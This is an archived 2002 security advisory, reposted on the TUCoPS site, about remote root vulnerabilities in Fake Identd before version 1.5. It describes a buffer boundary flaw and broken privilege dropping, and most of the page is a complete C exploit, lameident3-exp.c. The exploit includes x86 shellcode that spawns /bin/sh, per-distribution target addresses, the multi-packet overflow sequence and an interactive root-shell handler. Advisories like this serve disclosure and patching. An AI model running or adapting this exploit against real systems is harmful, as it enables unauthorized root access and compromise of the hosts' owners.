Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: unix5577.htm

Fake Identd remote root exploit



30th Jul 2002 [SBWID-5577]
COMMAND

	Fake Identd remote root exploit

SYSTEMS AFFECTED

	All Fake Identd versions prior to 1.5

PROBLEM

	Frank      DENIS       'Jedi/Sector       One'       [j@42-Networks.Com]
	[http://www.PureFTPd.Org/] [http://www.Jedi.Claranet.Fr/] says :
	

	Fake Identd is a small standalone ident server with static  replies.  It
	is designed to be suitable for firewalls, IP masquerading hosts, etc.
	

	Documentation : http://iki.fi/too/sw/identd.readme

	Source code   : http://iki.fi/too/sw/releases/identd.c

	  

	Client queries are stored in small static global 20-bytes  buffers.  The
	related code section is similar to :
	

	  len = 0;

	  for(;;) {  

	    if ((l = read(s, buf + len, sizeof buf)) > 0) {

	      if (query_looks_valid(buf)) {

	        reply(s, buf);

	       }

	    } else if (len + l == sizeof buf) {

	       goto abort;

	    } else {

	      len += l;

	    }             

	  }

	  

	The buffer boundary check is obviously broken. But  splitting  the  data
	into two or more packets, the (len + l  ==  sizeof  buf)  assertion  can
	easily be bypassed.
	

	Additionnaly, the reply() function calls the  fdprintf()  function  that
	features yet another fixed buffer with no boundary  check.  This  buffer
	is filled with the content of a global pointer (identuser) whoose  value
	can be tweaked using the previous vulnerability.
	

	To reduce the impact of a possible vulnerability, Fake  Identd  switches
	to user/group 'nobody'. Unfortunately, even the uid  switching  part  is
	broken. The effective uid/gid are dropped (sete[gu]id() calls), but  the
	real uid/gid are still 0/0.
	

	Arbitrary commands can be run with root privileges.  This  vulnerability
	is remotely exploitable. Linux exploit, thanks to Core, Sloth and  Solar
	Eclipse [0dd] :
	

	/* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com

	 *   this should work for most Linux distributions without needing

	 *   any modifications

	 *

	 * fakeidentd exploit 3rd revision.

	 * v1.4 http://software.freshmeat.net/projects/fakeidentd/

	 * v1.2 http://hangout.de/fakeidentd/ 

	 * 

	 * vuln found by Jedi/Sector One

	 * Other people who worked on the same bug and shared ideas:

	 *   Charles "core" Stevenson, Solar Eclipse

	 * 

	 * 7/25/02

	 * 

	 * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for 

	 * running it.

	 *

	 * 0dd, irc.pulltheplug.com, b0red

	 */

	

	#include <stdio.h>

	#include <string.h>

	#include <stdlib.h>

	#include <unistd.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <arpa/inet.h>

	#include <netdb.h>

	

	#define     ALIGN 1   /* you probably dont need to touch this */

	#define IDENTPORT 113

	#define    USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */

	

	#ifdef DEBUG

	  #define DUPFD "\x04"

	#else

	  #define DUPFD "\x02"

	#endif

	

	/* dup() shellcode from Charles Stevenson <core@bokeoa.com> */

	char lnx86_dupshell[]=

	  "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD

	  "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"

	  "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

	  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"

	  "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

	

	struct Targets {

	  char *name;

	  long baseaddr;

	  char *shellcode;

	};

	

	struct Targets target[] = {

	  { "  gcc-2.91.66  x86\n"

	    "    * Slackware 7.1\n"

	    "    *    RedHat 6.2\n",

	    0x0804b0a0, lnx86_dupshell },

	  { "  gcc-2.95.3/4 x86\n"

	    "    * Slackware 8.1\n"

	    "    *    Debian 3.0\n", 

	    0x0804a260, lnx86_dupshell },

	  { (char *)0, 0, (char *)0 }

	};

	

	void sh(int sockfd);

	int max(int x, int y);

	

	void fail(char *reason) {

	  printf("exploit failed: %s\n", reason);

	  exit(-1);

	}

	

	long resolve(char *host) {

	  struct in_addr ip;

	  struct hostent *he;

	

	  if((ip.s_addr = inet_addr(host)) == -1) {

	    if(!(he = gethostbyname(host)))

	      return(-1);

	    else

	      memcpy(&ip.s_addr, he->h_addr, 4);

	  }

	  return(ip.s_addr);

	}

	

	int make_connect(struct in_addr host) {

	  int s;

	  struct sockaddr_in sin;

	 

	  memset(&sin, 0, sizeof(sin));

	  sin.sin_family        = AF_INET;

	  sin.sin_port          = htons(IDENTPORT);

	  sin.sin_addr.s_addr   = host.s_addr;

	

	  if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)

	    fail("could not create socket");

	

	  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)

	    fail("could not connect\n");

	

	  return(s);

	}

	

	int main(int argc, char *argv[]) {

	  int s, a, uwait = USLEEP, nops = 500;

	  long baseaddr;

	  long shelladdr = 0xbfffa090;     

	  long pointaddr = 0;

	  char buf1[2020], buf2[32], *p, *shellcode;

	  struct in_addr host;

	

	  printf("lameident3-exp.c by sloth @ b0red\n");

	

	  if(argc<3) {

	    printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");

	    for(a=0;target[a].baseaddr;a++)

	      printf("  %d: %x %s", a, target[a].baseaddr, target[a].name);

	    exit(-1);

	  }

	

	  for(a=0;a<atoi(argv[1]);a++)

	    if(!target[a].baseaddr)

	      fail("invalid target");

	

	  baseaddr  = target[a].baseaddr;

	  shellcode = target[a].shellcode;

	  if(argv[3]) uwait = atoi(argv[3]);

	

	  if((host.s_addr = resolve(argv[2])) == -1)

	    fail("invalid host");

	

	  memset(buf1, 0, sizeof(buf1));

	  memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);

	  memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));

	

	  s = make_connect(host);

	

	  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);

	  usleep(uwait);

	

	  memset(buf2, 0, sizeof(buf2)); 

	  buf2[0] = 'A';

	  *(long *)&buf2[1] = shelladdr - baseaddr - 5;

	

	  send(s, buf2, 5, 0);

	  usleep(uwait);

	

	  p = buf1;

	  printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);

	

	  for(a=0;a<=strlen(buf1), *p;) {

	

	    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)

	      fail("write error");

	

	    p += a;

	    usleep(uwait);

	

	  }

	

	  close(s);

	  usleep(100);

	

	

	  s = make_connect(host);

	

	  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);

	  usleep(uwait);

	

	  memset(buf2, 0, sizeof(buf2));

	  buf2[0] = 'A';

	  *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;

	

	  send(s, buf2, 5, 0);

	  usleep(uwait);

	

	  p = buf1;

	  pointaddr = shelladdr + strlen(buf1) + 20;

	  printf("Writing pointers to 0x%x\n", pointaddr);

	

	  memset(buf1, 0, sizeof(buf1));

	  for(a=0;a<=512;a += 4) 

	    *(long *)&buf1[a] = shelladdr + 500;

	 

	  for(a=0;a<=strlen(buf1), *p;) {

	

	    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)

	      fail("write error");

	

	    p += a;

	    usleep(uwait);

	

	  }

	

	  close(s);

	  usleep(uwait);

	

	

	  s = make_connect(host);

	

	  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);

	  usleep(uwait);

	

	  memset(buf2, 0, sizeof(buf2));

	  buf2[0] = 'A';

	  *(long *)&buf2[1] = 0xffffffff - 0x9f - 5;

	

	  send(s, buf2, 5, 0);

	  usleep(uwait);

	

	  memset(buf2, 0, sizeof(buf2));

	  *(long *)&buf2[0] = pointaddr + 200 + ALIGN;

	

	  send(s, buf2, 4, 0);

	

	  close(s);

	  usleep(uwait);

	

	

	  s = make_connect(host);

	

	  send(s, "1234, 1234\n", 11, 0);

	  usleep(uwait);

	

	  printf("here comes the root shell!\n");

	  sh(s);

	

	  close(s); 

	}

	

	/* mixters */

	int max(int x, int y) {

	  if(x > y)

	    return(x);

	  return(y);

	}

	

	/* mixters sh() */

	void sh(int sockfd) {

	  char snd[1024], rcv[1024];

	  fd_set rset;

	  int maxfd, n;

	

	  strcpy(snd, "uname -a; pwd; id;\n");

	  write(sockfd, snd, strlen(snd));

	

	  for(;;) {

	    FD_SET(fileno(stdin), &rset);

	    FD_SET(sockfd, &rset);

	    maxfd = max(fileno(stdin), sockfd) + 1;

	    select(maxfd, &rset, NULL, NULL, NULL);

	    if(FD_ISSET(fileno(stdin), &rset)){

	      bzero(snd, sizeof(snd));

	      fgets(snd, sizeof(snd)-2, stdin);

	      write(sockfd, snd, strlen(snd));

	    }

	    if(FD_ISSET(sockfd, &rset)){

	      bzero(rcv, sizeof(rcv));

	      if((n = read(sockfd, rcv, sizeof(rcv))) == 0){

	        printf("EOF.\n");

	        exit(0);

	      }

	      if(n < 0)

	        fail("could not spawn shell");

	      fputs(rcv, stdout);

	    }

	  }

	}

	

SOLUTION

	Tomi Ollila, author and maintainer of Fake Identd, just released  a  new
	version (1.5) in order to fix these vulnerabilities.
	

	The new version is freely downloadable from the following location :
	

	http://iki.fi/too/sw/releases/identd.c

	

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH